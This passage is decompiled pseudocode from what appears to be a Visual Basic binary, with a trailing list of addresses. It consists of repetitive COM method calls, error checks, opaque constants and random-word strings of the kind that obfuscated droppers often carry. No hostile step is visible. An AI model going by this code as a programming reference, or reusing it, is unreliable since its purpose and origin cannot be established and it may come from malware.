				if(_v276 >= 0) {
					_v376 = _v376 & 0x00000000;
				} else {
					_push(0x110);
					_push(0x402938);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v376 = _t1004;
				}
				if( *0x413010 != 0) {
					_v380 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v380 = 0x413010;
				}
				_t1008 =  &_v96;
				L00401478();
				_v280 = _t1008;
				_t1012 =  *((intOrPtr*)( *_v280 + 0x68))(_v280,  &_v228, _t1008,  *((intOrPtr*)( *((intOrPtr*)( *_v380)) + 0x304))( *_v380));
				asm("fclex");
				_v284 = _t1012;
				if(_v284 >= 0) {
					_v384 = _v384 & 0x00000000;
				} else {
					_push(0x68);
					_push(0x402928);
					_push(_v280);
					_push(_v284);
					L0040146C();
					_v384 = _t1012;
				}
				_v136 = _v228;
				_v144 = 3;
				_v312 = _v88;
				_v88 = _v88 & 0x00000000;
				_v120 = _v312;
				_v128 = 8;
				_v232 = 0x8216d3;
				_v212 = 0x10ef;
				_v252 =  *0x401188;
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t1024 =  *((intOrPtr*)( *_a4 + 0x6fc))(_a4,  &_v252, 0x9e2ab50, 0x5af4,  &_v212, 0x1376,  &_v232, 0x3c6210, 0x853b0e00, 0x5af4, 0x10,  &_v144,  &_v260);
				_v288 = _t1024;
				if(_v288 >= 0) {
					_v388 = _v388 & 0x00000000;
				} else {
					_push(0x6fc);
					_push(0x40275c);
					_push(_a4);
					_push(_v288);
					L0040146C();
					_v388 = _t1024;
				}
				_v84 = _v260;
				_v80 = _v256;
				_push( &_v96);
				_push( &_v92);
				_push(2);
				L0040145A();
				_push( &_v144);
				_push( &_v128);
				_push(2);
				L00401454();
				_t1510 = _t1508 + 0x18;
				if( *0x413010 != 0) {
					_v392 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v392 = 0x413010;
				}
				_t1034 =  &_v92;
				L00401478();
				_v272 = _t1034;
				_t1038 =  *((intOrPtr*)( *_v272 + 0xf8))(_v272,  &_v212, _t1034,  *((intOrPtr*)( *((intOrPtr*)( *_v392)) + 0x310))( *_v392));
				asm("fclex");
				_v276 = _t1038;
				if(_v276 >= 0) {
					_v396 = _v396 & 0x00000000;
				} else {
					_push(0xf8);
					_push(0x402918);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v396 = _t1038;
				}
				if( *0x413010 != 0) {
					_v400 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v400 = 0x413010;
				}
				_t1042 =  &_v96;
				L00401478();
				_v280 = _t1042;
				_t1046 =  *((intOrPtr*)( *_v280 + 0x128))(_v280,  &_v228, _t1042,  *((intOrPtr*)( *((intOrPtr*)( *_v400)) + 0x304))( *_v400));
				asm("fclex");
				_v284 = _t1046;
				if(_v284 >= 0) {
					_v404 = _v404 & 0x00000000;
				} else {
					_push(0x128);
					_push(0x402928);
					_push(_v280);
					_push(_v284);
					L0040146C();
					_v404 = _t1046;
				}
				if( *0x413010 != 0) {
					_v408 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v408 = 0x413010;
				}
				_t1050 =  &_v100;
				L00401478();
				_v288 = _t1050;
				_t1054 =  *((intOrPtr*)( *_v288 + 0x140))(_v288,  &_v216, _t1050,  *((intOrPtr*)( *((intOrPtr*)( *_v408)) + 0x308))( *_v408));
				asm("fclex");
				_v292 = _t1054;
				if(_v292 >= 0) {
					_v412 = _v412 & 0x00000000;
				} else {
					_push(0x140);
					_push(0x402938);
					_push(_v288);
					_push(_v292);
					L0040146C();
					_v412 = _t1054;
				}
				if( *0x413010 != 0) {
					_v416 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v416 = 0x413010;
				}
				_t1406 =  *((intOrPtr*)( *_v416));
				_t1058 =  &_v104;
				L00401478();
				_v296 = _t1058;
				_t1062 =  *((intOrPtr*)( *_v296 + 0x130))(_v296,  &_v232, _t1058,  *((intOrPtr*)(_t1406 + 0x300))( *_v416));
				asm("fclex");
				_v300 = _t1062;
				if(_v300 >= 0) {
					_v420 = _v420 & 0x00000000;
				} else {
					_push(0x130);
					_push(0x402948);
					_push(_v296);
					_push(_v300);
					L0040146C();
					_v420 = _t1062;
				}
				_v240 = _v232;
				_v224 = 0x2258;
				_v236 = _v228;
				_v168 = 0x3f2b52;
				_v176 = 3;
				_v220 = _v212;
				_v392 =  *0x401180;
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *((intOrPtr*)( *_a4 + 0x71c))(_a4,  &_v220, 0x10,  &_v236, _t1406, _v216,  &_v224,  &_v240, 0x5ba9cd,  &_v252);
				_v76 = _v252;
				_push( &_v104);
				_push( &_v100);
				_push( &_v96);
				_push( &_v92);
				_push(4);
				L0040145A();
				_t1511 = _t1510 + 0x14;
				if( *0x413010 != 0) {
					_v424 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v424 = 0x413010;
				}
				_t1082 =  &_v92;
				L00401478();
				_v272 = _t1082;
				_t1086 =  *((intOrPtr*)( *_v272 + 0x178))(_v272,  &_v228, _t1082,  *((intOrPtr*)( *((intOrPtr*)( *_v424)) + 0x31c))( *_v424));
				asm("fclex");
				_v276 = _t1086;
				if(_v276 >= 0) {
					_v428 = _v428 & 0x00000000;
				} else {
					_push(0x178);
					_push(0x402908);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v428 = _t1086;
				}
				if( *0x413010 != 0) {
					_v432 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v432 = 0x413010;
				}
				_t1090 =  &_v96;
				L00401478();
				_v280 = _t1090;
				_t1094 =  *((intOrPtr*)( *_v280 + 0x58))(_v280,  &_v232, _t1090,  *((intOrPtr*)( *((intOrPtr*)( *_v432)) + 0x30c))( *_v432));
				asm("fclex");
				_v284 = _t1094;
				if(_v284 >= 0) {
					_v436 = _v436 & 0x00000000;
				} else {
					_push(0x58);
					_push(0x402918);
					_push(_v280);
					_push(_v284);
					L0040146C();
					_v436 = _t1094;
				}
				if( *0x413010 != 0) {
					_v440 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v440 = 0x413010;
				}
				_t1098 =  &_v100;
				L00401478();
				_v288 = _t1098;
				_t1102 =  *((intOrPtr*)( *_v288 + 0x70))(_v288,  &_v236, _t1098,  *((intOrPtr*)( *((intOrPtr*)( *_v440)) + 0x31c))( *_v440));
				asm("fclex");
				_v292 = _t1102;
				if(_v292 >= 0) {
					_v444 = _v444 & 0x00000000;
				} else {
					_push(0x70);
					_push(0x402908);
					_push(_v288);
					_push(_v292);
					L0040146C();
					_v444 = _t1102;
				}
				if( *0x413010 != 0) {
					_v448 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v448 = 0x413010;
				}
				_t1106 =  &_v104;
				L00401478();
				_v296 = _t1106;
				_t1110 =  *((intOrPtr*)( *_v296 + 0x1c0))(_v296,  &_v240, _t1106,  *((intOrPtr*)( *((intOrPtr*)( *_v448)) + 0x30c))( *_v448));
				asm("fclex");
				_v300 = _t1110;
				if(_v300 >= 0) {
					_v452 = _v452 & 0x00000000;
				} else {
					_push(0x1c0);
					_push(0x402918);
					_push(_v296);
					_push(_v300);
					L0040146C();
					_v452 = _t1110;
				}
				_v152 = _v240;
				_v160 = 3;
				_v252 =  *0x401178;
				_v212 = 0x7359;
				_v136 = _v228;
				_v144 = 3;
				_v168 = L"Semipalmate";
				_v176 = 8;
				L0040144E();
				_v500 = _v236;
				 *((intOrPtr*)( *_a4 + 0x724))(_a4,  &_v128,  &_v144,  &_v212, _v232,  &_v252,  &_v128,  &_v160, 0x60b8ca80, 0x5b04);
				L0040145A();
				L00401454();
				_t1513 = _t1511 + 0x24;
				_v252 = 0xcd58e1e0;
				_v248 = 0x5afd;
				 *((intOrPtr*)( *_a4 + 0x728))(_a4, 0x50c582,  &_v252, 0x73f7a9,  &_v228, 3,  &_v128,  &_v144,  &_v160, 4,  &_v92,  &_v96,  &_v100,  &_v104);
				_v48 = _v228;
				if( *0x413010 != 0) {
					_v456 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v456 = 0x413010;
				}
				_t1137 =  &_v92;
				L00401478();
				_v272 = _t1137;
				_t1141 =  *((intOrPtr*)( *_v272 + 0x170))(_v272,  &_v228, _t1137,  *((intOrPtr*)( *((intOrPtr*)( *_v456)) + 0x30c))( *_v456));
				asm("fclex");
				_v276 = _t1141;
				if(_v276 >= 0) {
					_v460 = _v460 & 0x00000000;
				} else {
					_push(0x170);
					_push(0x402918);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v460 = _t1141;
				}
				_v252 = 0x24b05a50;
				_v248 = 0x5af3;
				_v232 = _v228;
				_t1147 =  *((intOrPtr*)( *_a4 + 0x700))(_a4,  &_v232, L"uncomeliest",  &_v252);
				_v280 = _t1147;
				if(_v280 >= 0) {
					_v464 = _v464 & 0x00000000;
				} else {
					_push(0x700);
					_push(0x40275c);
					_push(_a4);
					_push(_v280);
					L0040146C();
					_v464 = _t1147;
				}
				L00401466();
				 *((intOrPtr*)( *_a4 + 0x72c))(_a4);
				_v168 = L"Antiracing2";
				_v176 = 8;
				_t1424 =  &_v128;
				L0040144E();
				_v596 =  *0x401170;
				_t1154 =  *((intOrPtr*)( *_a4 + 0x704))(_a4, _t1424, _t1424,  &_v128);
				_v272 = _t1154;
				if(_v272 >= 0) {
					_v468 = _v468 & 0x00000000;
				} else {
					_push(0x704);
					_push(0x40275c);
					_push(_a4);
					_push(_v272);
					L0040146C();
					_v468 = _t1154;
				}
				L00401448();
				if( *0x413010 != 0) {
					_v472 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v472 = 0x413010;
				}
				_t1158 =  &_v92;
				L00401478();
				_v272 = _t1158;
				_t1162 =  *((intOrPtr*)( *_v272 + 0x100))(_v272,  &_v96, _t1158,  *((intOrPtr*)( *((intOrPtr*)( *_v472)) + 0x308))( *_v472));
				asm("fclex");
				_v276 = _t1162;
				if(_v276 >= 0) {
					_v476 = _v476 & 0x00000000;
				} else {
					_push(0x100);
					_push(0x402938);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v476 = _t1162;
				}
				_push(0);
				_push(0);
				_push(_v96);
				_push( &_v128);
				L00401442();
				_t1514 = _t1513 + 0x10;
				if( *0x413010 != 0) {
					_v480 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v480 = 0x413010;
				}
				_t1167 =  &_v100;
				L00401478();
				_v280 = _t1167;
				_t1171 =  *((intOrPtr*)( *_v280 + 0x1e8))(_v280,  &_v212, _t1167,  *((intOrPtr*)( *((intOrPtr*)( *_v480)) + 0x310))( *_v480));
				asm("fclex");
				_v284 = _t1171;
				if(_v284 >= 0) {
					_v484 = _v484 & 0x00000000;
				} else {
					_push(0x1e8);
					_push(0x402918);
					_push(_v280);
					_push(_v284);
					L0040146C();
					_v484 = _t1171;
				}
				if( *0x413010 != 0) {
					_v488 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v488 = 0x413010;
				}
				_t1434 =  *((intOrPtr*)( *_v488));
				_t1175 =  &_v104;
				L00401478();
				_v288 = _t1175;
				_t1179 =  *((intOrPtr*)( *_v288 + 0x70))(_v288,  &_v228, _t1175,  *((intOrPtr*)(_t1434 + 0x310))( *_v488));
				asm("fclex");
				_v292 = _t1179;
				if(_v292 >= 0) {
					_v492 = _v492 & 0x00000000;
				} else {
					_push(0x70);
					_push(0x402918);
					_push(_v288);
					_push(_v292);
					L0040146C();
					_v492 = _t1179;
				}
				_v216 = 0x5338;
				_t1180 =  &_v128;
				L0040143C();
				_v232 = _t1180;
				_v260 = 0x3e88af00;
				_v256 = 0x5b01;
				_v252 =  *0x401168;
				 *_t1514 = _v228;
				 *_t1514 =  *0x401160;
				_t1188 =  *((intOrPtr*)( *_a4 + 0x708))(_a4,  &_v252, _t1434,  &_v260,  &_v232, L"angiopathy", _v212,  &_v216, _t1434,  &_v236, _t1180);
				_v296 = _t1188;
				if(_v296 >= 0) {
					_v496 = _v496 & 0x00000000;
				} else {
					_push(0x708);
					_push(0x40275c);
					_push(_a4);
					_push(_v296);
					L0040146C();
					_v496 = _t1188;
				}
				_v28 = _v236;
				_push( &_v96);
				_push( &_v104);
				_push( &_v100);
				_push( &_v92);
				_push(4);
				L0040145A();
				_t1515 = _t1514 + 0x14;
				L00401448();
				if( *0x413010 != 0) {
					_v500 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v500 = 0x413010;
				}
				_t1197 =  &_v92;
				L00401478();
				_v272 = _t1197;
				_t1201 =  *((intOrPtr*)( *_v272 + 0x138))(_v272,  &_v96, _t1197,  *((intOrPtr*)( *((intOrPtr*)( *_v500)) + 0x30c))( *_v500));
				asm("fclex");
				_v276 = _t1201;
				if(_v276 >= 0) {
					_v504 = _v504 & 0x00000000;
				} else {
					_push(0x138);
					_push(0x402918);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v504 = _t1201;
				}
				if( *0x413010 != 0) {
					_v508 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v508 = 0x413010;
				}
				_t1441 =  *((intOrPtr*)( *_v508));
				_t1205 =  &_v100;
				L00401478();
				_v280 = _t1205;
				_t1209 =  *((intOrPtr*)( *_v280 + 0x178))(_v280,  &_v228, _t1205,  *((intOrPtr*)(_t1441 + 0x31c))( *_v508));
				asm("fclex");
				_v284 = _t1209;
				if(_v284 >= 0) {
					_v512 = _v512 & 0x00000000;
				} else {
					_push(0x178);
					_push(0x402908);
					_push(_v280);
					_push(_v284);
					L0040146C();
					_v512 = _t1209;
				}
				_v216 = 0x1383;
				_v212 = 0x233c;
				_v252 = 0xd93e190;
				_v248 = 0x5af6;
				_v316 = _v96;
				_v96 = _v96 & 0x00000000;
				_v120 = _v316;
				_v128 = 9;
				 *_t1515 =  *0x401158;
				 *_t1515 =  *0x401150;
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *((intOrPtr*)( *_a4 + 0x730))(_a4, 0x10,  &_v252, _t1441, _v228,  &_v212, _t1441, _t1441,  &_v216);
				_push( &_v100);
				_push( &_v92);
				_push(2);
				L0040145A();
				_t1516 = _t1515 + 0xc;
				L00401448();
				if( *0x413010 != 0) {
					_v516 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v516 = 0x413010;
				}
				_t1224 =  &_v92;
				L00401478();
				_v272 = _t1224;
				_t1228 =  *((intOrPtr*)( *_v272 + 0x180))(_v272,  &_v228, _t1224,  *((intOrPtr*)( *((intOrPtr*)( *_v516)) + 0x308))( *_v516));
				asm("fclex");
				_v276 = _t1228;
				if(_v276 >= 0) {
					_v520 = _v520 & 0x00000000;
				} else {
					_push(0x180);
					_push(0x402938);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v520 = _t1228;
				}
				if( *0x413010 != 0) {
					_v524 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v524 = 0x413010;
				}
				_t1232 =  &_v96;
				L00401478();
				_v280 = _t1232;
				_t1236 =  *((intOrPtr*)( *_v280 + 0x168))(_v280,  &_v100, _t1232,  *((intOrPtr*)( *((intOrPtr*)( *_v524)) + 0x308))( *_v524));
				asm("fclex");
				_v284 = _t1236;
				if(_v284 >= 0) {
					_v528 = _v528 & 0x00000000;
				} else {
					_push(0x168);
					_push(0x402938);
					_push(_v280);
					_push(_v284);
					L0040146C();
					_v528 = _t1236;
				}
				L00401442();
				_v252 =  *0x401148;
				_v232 = _v228;
				_t1240 =  &_v128;
				L0040143C();
				 *((intOrPtr*)( *_a4 + 0x734))(_a4,  &_v232,  &_v252, _t1240, _t1240,  &_v144,  &_v128, _v100, 0, 0);
				L00401460();
				_push( &_v100);
				_push( &_v96);
				_push( &_v92);
				_push(3);
				L0040145A();
				_t1518 = _t1516 + 0x20;
				L00401448();
				if( *0x413010 != 0) {
					_v532 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v532 = 0x413010;
				}
				_t1252 =  &_v92;
				L00401478();
				_v272 = _t1252;
				_t1256 =  *((intOrPtr*)( *_v272 + 0x70))(_v272,  &_v228, _t1252,  *((intOrPtr*)( *((intOrPtr*)( *_v532)) + 0x310))( *_v532));
				asm("fclex");
				_v276 = _t1256;
				if(_v276 >= 0) {
					_v536 = _v536 & 0x00000000;
				} else {
					_push(0x70);
					_push(0x402918);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v536 = _t1256;
				}
				if( *0x413010 != 0) {
					_v540 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v540 = 0x413010;
				}
				_t1260 =  &_v96;
				L00401478();
				_v280 = _t1260;
				_t1264 =  *((intOrPtr*)( *_v280 + 0x238))(_v280,  &_v88, _t1260,  *((intOrPtr*)( *((intOrPtr*)( *_v540)) + 0x310))( *_v540));
				asm("fclex");
				_v284 = _t1264;
				if(_v284 >= 0) {
					_v544 = _v544 & 0x00000000;
				} else {
					_push(0x238);
					_push(0x402918);
					_push(_v280);
					_push(_v284);
					L0040146C();
					_v544 = _t1264;
				}
				_v320 = _v88;
				_v88 = _v88 & 0x00000000;
				_v136 = _v320;
				_v144 = 8;
				_v168 = L"Inddatastrengens";
				_v176 = 8;
				L0040144E();
				 *_t1518 = _v228;
				 *((intOrPtr*)( *_a4 + 0x738))(_a4,  &_v128, 0x18c0,  &_v128,  &_v144, 0xfa9c7910, 0x5b06);
				_push( &_v96);
				_push( &_v92);
				_push(2);
				L0040145A();
				_push( &_v144);
				_push( &_v128);
				_push(2);
				L00401454();
				_t1520 = _t1518 + 0x18;
				if( *0x413010 != 0) {
					_v548 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v548 = 0x413010;
				}
				_t1460 =  *((intOrPtr*)( *_v548));
				_t1279 =  &_v92;
				L00401478();
				_v272 = _t1279;
				_t1283 =  *((intOrPtr*)( *_v272 + 0x80))(_v272,  &_v228, _t1279,  *((intOrPtr*)(_t1460 + 0x310))( *_v548));
				asm("fclex");
				_v276 = _t1283;
				if(_v276 >= 0) {
					_v552 = _v552 & 0x00000000;
				} else {
					_push(0x80);
					_push(0x402918);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v552 = _t1283;
				}
				_v240 = 0x78288a;
				_v236 = 0x83a9e4;
				_v168 = 0x707ca4;
				_v176 = 3;
				_v232 = _v228;
				 *_t1520 =  *0x401140;
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *((intOrPtr*)( *_a4 + 0x73c))(_a4,  &_v232, 0x10,  &_v236,  &_v240, 0x28619090, 0x5af5, _t1460, _t1460,  &_v244);
				_v68 = _v244;
				L00401466();
				if( *0x413010 != 0) {
					_v556 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v556 = 0x413010;
				}
				_t1295 =  &_v92;
				L00401478();
				_v272 = _t1295;
				_t1299 =  *((intOrPtr*)( *_v272 + 0xe0))(_v272,  &_v212, _t1295,  *((intOrPtr*)( *((intOrPtr*)( *_v556)) + 0x310))( *_v556));
				asm("fclex");
				_v276 = _t1299;
				if(_v276 >= 0) {
					_v560 = _v560 & 0x00000000;
				} else {
					_push(0xe0);
					_push(0x402918);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v560 = _t1299;
				}
				_v252 = 0x4b058610;
				_v248 = 0x5b04;
				L00401436();
				_t1304 =  *((intOrPtr*)( *_a4 + 0x70c))(_a4,  &_v88,  &_v252, _v212);
				_v280 = _t1304;
				if(_v280 >= 0) {
					_v564 = _v564 & 0x00000000;
				} else {
					_push(0x70c);
					_push(0x40275c);
					_push(_a4);
					_push(_v280);
					L0040146C();
					_v564 = _t1304;
				}
				L00401430();
				L00401466();
				if( *0x413010 != 0) {
					_v568 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v568 = 0x413010;
				}
				_t1308 =  &_v92;
				L00401478();
				_v272 = _t1308;
				_t1312 =  *((intOrPtr*)( *_v272 + 0x150))(_v272,  &_v96, _t1308,  *((intOrPtr*)( *((intOrPtr*)( *_v568)) + 0x300))( *_v568));
				asm("fclex");
				_v276 = _t1312;
				if(_v276 >= 0) {
					_v572 = _v572 & 0x00000000;
				} else {
					_push(0x150);
					_push(0x402948);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v572 = _t1312;
				}
				_push(0);
				_push(0);
				_push(_v96);
				_push( &_v128);
				L00401442();
				if( *0x413010 != 0) {
					_v576 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v576 = 0x413010;
				}
				_t1317 =  &_v100;
				L00401478();
				_v280 = _t1317;
				_t1321 =  *((intOrPtr*)( *_v280 + 0x160))(_v280,  &_v104, _t1317,  *((intOrPtr*)( *((intOrPtr*)( *_v576)) + 0x308))( *_v576));
				asm("fclex");
				_v284 = _t1321;
				if(_v284 >= 0) {
					_v580 = _v580 & 0x00000000;
				} else {
					_push(0x160);
					_push(0x402938);
					_push(_v280);
					_push(_v284);
					L0040146C();
					_v580 = _t1321;
				}
				if( *0x413010 != 0) {
					_v584 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v584 = 0x413010;
				}
				_t1325 =  &_v108;
				L00401478();
				_v288 = _t1325;
				_t1329 =  *((intOrPtr*)( *_v288 + 0xf0))(_v288,  &_v112, _t1325,  *((intOrPtr*)( *((intOrPtr*)( *_v584)) + 0x304))( *_v584));
				asm("fclex");
				_v292 = _t1329;
				if(_v292 >= 0) {
					_v588 = _v588 & 0x00000000;
				} else {
					_push(0xf0);
					_push(0x402928);
					_push(_v288);
					_push(_v292);
					L0040146C();
					_v588 = _t1329;
				}
				L00401442();
				_t1331 =  &_v160;
				L0040143C();
				_v232 = _t1331;
				_v228 =  *0x401138;
				_v324 = _v104;
				_v104 = _v104 & 0x00000000;
				_v136 = _v324;
				_v144 = 9;
				L00401424();
				L0040142A();
				_v252 =  *0x401130;
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t1342 =  *((intOrPtr*)( *_a4 + 0x710))(_a4, 0xc14fe4d0, 0x5b06,  &_v252, 0x177e3170, 0x5afa,  &_v88, 0x10,  &_v228, L"lymphopoiesis",  &_v232, 0x59eb55,  &_v128, _t1331,  &_v160, _v112, 0, 0);
				_v296 = _t1342;
				if(_v296 >= 0) {
					_v592 = _v592 & 0x00000000;
				} else {
					_push(0x710);
					_push(0x40275c);
					_push(_a4);
					_push(_v296);
					L0040146C();
					_v592 = _t1342;
				}
				L00401430();
				_push( &_v112);
				_push( &_v96);
				_push( &_v108);
				_push( &_v100);
				_push( &_v92);
				_push(5);
				L0040145A();
				_push( &_v160);
				_push( &_v144);
				_push( &_v128);
				_push(3);
				L00401454();
				if( *0x413010 != 0) {
					_v596 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x401fe0);
					L00401472();
					_v596 = 0x413010;
				}
				_t1354 =  &_v92;
				L00401478();
				_v272 = _t1354;
				_t1358 =  *((intOrPtr*)( *_v272 + 0x128))(_v272,  &_v228, _t1354,  *((intOrPtr*)( *((intOrPtr*)( *_v596)) + 0x304))( *_v596));
				asm("fclex");
				_v276 = _t1358;
				if(_v276 >= 0) {
					_v600 = _v600 & 0x00000000;
				} else {
					_push(0x128);
					_push(0x402928);
					_push(_v272);
					_push(_v276);
					L0040146C();
					_v600 = _t1358;
				}
				_v252 =  *0x401128;
				_v236 = _v228;
				_v232 = 0x1e57c5;
				 *((intOrPtr*)( *_a4 + 0x740))(_a4,  &_v232,  &_v236,  &_v252);
				L00401466();
				_t1369 =  *((intOrPtr*)( *_a4 + 0x744))(_a4,  &_v228);
				_v8 = 0;
				asm("wait");
				_push(0x410baa);
				L00401448();
				L00401448();
				return _t1369;
			}

0x0040eb57
0x0040eb66
0x0040eb72
0x0040eb7a
0x0040eb7d
0x0040eb8a
0x0040eb92
0x0040eb9d
0x0040eba7
0x0040ebc4
0x0040eba9
0x0040eba9
0x0040ebae
0x0040ebb3
0x0040ebb8
0x0040ebb8
0x0040ebe8
0x0040ebec
0x0040ebf1
0x0040ec05
0x0040ec0b
0x0040ec0d
0x0040ec1a
0x0040ec3f
0x0040ec1c
0x0040ec1c
0x0040ec21
0x0040ec26
0x0040ec2c
0x0040ec32
0x0040ec37
0x0040ec37
0x0040ec49
0x0040ec55
0x0040ec72
0x0040ec57
0x0040ec57
0x0040ec5c
0x0040ec61
0x0040ec66
0x0040ec66
0x0040ec96
0x0040ec9a
0x0040ec9f
0x0040ecba
0x0040ecc0
0x0040ecc2
0x0040eccf
0x0040ecf4
0x0040ecd1
0x0040ecd1
0x0040ecd6
0x0040ecdb
0x0040ece1
0x0040ece7
0x0040ecec
0x0040ecec
0x0040ed02
0x0040ed1f
0x0040ed04
0x0040ed04
0x0040ed09
0x0040ed0e
0x0040ed13
0x0040ed13
0x0040ed43
0x0040ed47
0x0040ed4c
0x0040ed67
0x0040ed6d
0x0040ed6f
0x0040ed7c
0x0040eda1
0x0040ed7e
0x0040ed7e
0x0040ed83
0x0040ed88
0x0040ed8e
0x0040ed94
0x0040ed99
0x0040ed99
0x0040edaf
0x0040edcc
0x0040edb1
0x0040edb1
0x0040edb6
0x0040edbb
0x0040edc0
0x0040edc0
0x0040ede6
0x0040edf0
0x0040edf4
0x0040edf9
0x0040ee14
0x0040ee1a
0x0040ee1c
0x0040ee29
0x0040ee4e
0x0040ee2b
0x0040ee2b
0x0040ee30
0x0040ee35
0x0040ee3b
0x0040ee41
0x0040ee46
0x0040ee46
0x0040ee5b
0x0040ee61
0x0040ee76
0x0040ee95
0x0040eea1
0x0040eea9
0x0040eead
0x0040eeb1
0x0040eeb2
0x0040eeb4
0x0040eeb9
0x0040eec3
0x0040eee0
0x0040eec5
0x0040eec5
0x0040eeca
0x0040eecf
0x0040eed4
0x0040eed4
0x0040eefa
0x0040ef04
0x0040ef08
0x0040ef0d
0x0040ef28
0x0040ef2e
0x0040ef30
0x0040ef3d
0x0040ef62
0x0040ef3f
0x0040ef3f
0x0040ef44
0x0040ef49
0x0040ef4f
0x0040ef55
0x0040ef5a
0x0040ef5a
0x0040ef6f
0x0040ef75
0x0040ef7f
0x0040ef8f
0x0040ef95
0x0040efa5
0x0040efb3
0x0040efde
0x0040eff0
0x0040eff6
0x0040f003
0x0040f025
0x0040f005
0x0040f005
0x0040f00a
0x0040f00f
0x0040f012
0x0040f018
0x0040f01d
0x0040f01d
0x0040f02f
0x0040f03b
0x0040f058
0x0040f03d
0x0040f03d
0x0040f042
0x0040f047
0x0040f04c
0x0040f04c
0x0040f07c
0x0040f080
0x0040f085
0x0040f09d
0x0040f0a3
0x0040f0a5
0x0040f0b2
0x0040f0d7
0x0040f0b4
0x0040f0b4
0x0040f0b9
0x0040f0be
0x0040f0c4
0x0040f0ca
0x0040f0cf
0x0040f0cf
0x0040f0e5
0x0040f102
0x0040f0e7
0x0040f0e7
0x0040f0ec
0x0040f0f1
0x0040f0f6
0x0040f0f6
0x0040f126
0x0040f12a
0x0040f12f
0x0040f14a
0x0040f14d
0x0040f14f
0x0040f15c
0x0040f17e
0x0040f15e
0x0040f15e
0x0040f160
0x0040f165
0x0040f16b
0x0040f171
0x0040f176
0x0040f176
0x0040f18b
0x0040f191
0x0040f19e
0x0040f1a4
0x0040f1ae
0x0040f1b1
0x0040f1b8
0x0040f1c2
0x0040f1d1
0x0040f1e8
0x0040f1f2
0x0040f1f3
0x0040f1f4
0x0040f1f5
0x0040f231
0x0040f237
0x0040f244
0x0040f266
0x0040f246
0x0040f246
0x0040f24b
0x0040f250
0x0040f253
0x0040f259
0x0040f25e
0x0040f25e
0x0040f273
0x0040f27c
0x0040f282
0x0040f286
0x0040f287
0x0040f289
0x0040f297
0x0040f29b
0x0040f29c
0x0040f29e
0x0040f2a3
0x0040f2ad
0x0040f2ca
0x0040f2af
0x0040f2af
0x0040f2b4
0x0040f2b9
0x0040f2be
0x0040f2be
0x0040f2ee
0x0040f2f2
0x0040f2f7
0x0040f312
0x0040f318
0x0040f31a
0x0040f327
0x0040f34c
0x0040f329
0x0040f329
0x0040f32e
0x0040f333
0x0040f339
0x0040f33f
0x0040f344
0x0040f344
0x0040f35a
0x0040f377
0x0040f35c
0x0040f35c
0x0040f361
0x0040f366
0x0040f36b
0x0040f36b
0x0040f39b
0x0040f39f
0x0040f3a4
0x0040f3bf
0x0040f3c5
0x0040f3c7
0x0040f3d4
0x0040f3f9
0x0040f3d6
0x0040f3d6
0x0040f3db
0x0040f3e0
0x0040f3e6
0x0040f3ec
0x0040f3f1
0x0040f3f1
0x0040f407
0x0040f424
0x0040f409
0x0040f409
0x0040f40e
0x0040f413
0x0040f418
0x0040f418
0x0040f448
0x0040f44c
0x0040f451
0x0040f46c
0x0040f472
0x0040f474
0x0040f481
0x0040f4a6
0x0040f483
0x0040f483
0x0040f488
0x0040f48d
0x0040f493
0x0040f499
0x0040f49e
0x0040f49e
0x0040f4b4
0x0040f4d1
0x0040f4b6
0x0040f4b6
0x0040f4bb
0x0040f4c0
0x0040f4c5
0x0040f4c5
0x0040f4eb
0x0040f4f5
0x0040f4f9
0x0040f4fe
0x0040f519
0x0040f51f
